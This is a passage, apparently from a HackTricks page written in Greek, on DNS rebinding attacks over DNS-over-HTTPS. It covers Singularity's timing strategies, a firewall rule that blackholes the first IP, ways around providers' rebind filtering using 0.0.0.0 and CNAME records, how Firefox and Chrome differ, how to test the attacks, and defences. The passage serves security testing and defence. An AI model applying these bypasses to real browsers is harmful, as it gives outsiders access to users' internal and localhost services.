  • Οι public resolvers βλέπουν ακόμα κάθε query, αλλά σπάνια επιβάλλουν το host-to-IP mapping που ο browser πρέπει να τηρεί. Μόλις ο authoritative server επιστρέψει τη rebinding ακολουθία, ο browser διατηρεί το αρχικό origin tuple ενώ συνδέεται στη νέα IP.

Singularity strategies and timing over DoH

  • First-then-second παραμένει η πιο αξιόπιστη επιλογή: η πρώτη lookup επιστρέφει το attacker IP που σερβίρει το payload, κάθε επόμενη lookup επιστρέφει το internal/localhost IP. Με τυπικές browser DNS caches αυτό αλλάζει την κίνηση σε ~40–60 δευτερόλεπτα, ακόμη και όταν ο recursive resolver είναι προσβάσιμος μόνο μέσω HTTPS.
  • Multiple answers (fast rebinding) εξακολουθεί να φτάνει στο localhost σε <3 δευτερόλεπτα απαντώντας με δύο A records (attacker IP + 0.0.0.0 σε Linux/macOS ή 127.0.0.1 σε Windows) και προγραμματιστικά blackholing της πρώτης IP (π.χ., iptables -I OUTPUT -d <attacker_ip> -j DROP) λίγο μετά το φόρτωμα της σελίδας. Η υλοποίηση DoH του Firefox μπορεί να εκπέμπει επαναλαμβανόμενα DNS queries, οπότε η επιδιόρθωση του Singularity είναι να προγραμματίζει τον κανόνα firewall σχετικώς με το timestamp του πρώτου query αντί να ανανεώνει το χρονόμετρο σε κάθε query.

Beating “rebind protection” in DoH providers

  • Ορισμένοι providers (π.χ., NextDNS) αντικαθιστούν απαντήσεις προς private/loopback με 0.0.0.0, αλλά το Linux και το macOS δρομολογούν ευχαρίστως αυτόν τον προορισμό σε τοπικές υπηρεσίες. Η σκόπιμη επιστροφή 0.0.0.0 ως δεύτερου record επομένως εξακολουθεί να περιστρέφει το origin προς localhost.
  • Το φιλτράρισμα μόνο της άμεσης A/AAAA απάντησης είναι αναποτελεσματικό: η επιστροφή ενός CNAME σε ένα internal-only hostname κάνει τον public DoH resolver να προωθήσει το alias ενώ browsers όπως ο Firefox πέφτουν πίσω στο system DNS για την internal ζώνη, ολοκληρώνοντας την επίλυση σε μια private IP που εξακολουθεί να θεωρείται attacker origin.

Browser-specific DoH behavior

  • Firefox DoH λειτουργεί σε fallback mode: οποιαδήποτε αποτυχία DoH (συμπεριλαμβανομένου ενός unresolved CNAME target) ενεργοποιεί ένα plaintext lookup μέσω του OS resolver, που τυπικά είναι ένας enterprise DNS server που γνωρίζει το internal namespace. Αυτή η συμπεριφορά είναι που κάνει το CNAME bypass αξιόπιστο μέσα σε εταιρικά δίκτυα.
  • Chrome DoH ενεργοποιείται μόνο όταν το OS DNS δείχνει σε έναν whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, κ.λπ.) και δεν παρέχει την ίδια fallback αλυσίδα. Τα internal hostnames που υπάρχουν μόνο σε corporate DNS επομένως αποτυγχάνουν να επιλυθούν, αλλά το rebinding προς localhost ή οποιαδήποτε routable διεύθυνση εξακολουθεί να επιτυγχάνει επειδή ο επιτιθέμενος ελέγχει ολόκληρο το set των απαντήσεων.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS και παρέχετε το DoH endpoint (Cloudflare και NextDNS είναι ενσωματωμένα). Chrome/Chromium: ενεργοποιήστε chrome://flags/#dns-over-https και ρυθμίστε τους OS DNS servers σε έναν από τους υποστηριζόμενους resolvers του Chrome (π.χ., 1.1.1.1/1.0.0.1).
  • Μπορείτε να κάνετε query σε public DoH APIs απευθείας, π.χ. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq για να επιβεβαιώσετε τα ακριβή records που οι browsers θα cache-άρουν.
  • Η υποκλοπή DoH σε Burp/ZAP εξακολουθεί να δουλεύει γιατί είναι απλώς HTTPS (binary DNS payload στο σώμα). Για επιθεώρηση σε επίπεδο πακέτου, εξάγετε TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) πριν ανοίξετε τον browser και αφήστε το Wireshark να αποκρυπτογραφήσει τις DoH συνεδρίες με το dns display filter για να δείτε πότε ο browser παραμένει σε DoH ή πέφτει πίσω στο κλασικό DNS.

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz πιθανές κακοδιαμορφώσεις στις πολιτικές CORS

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks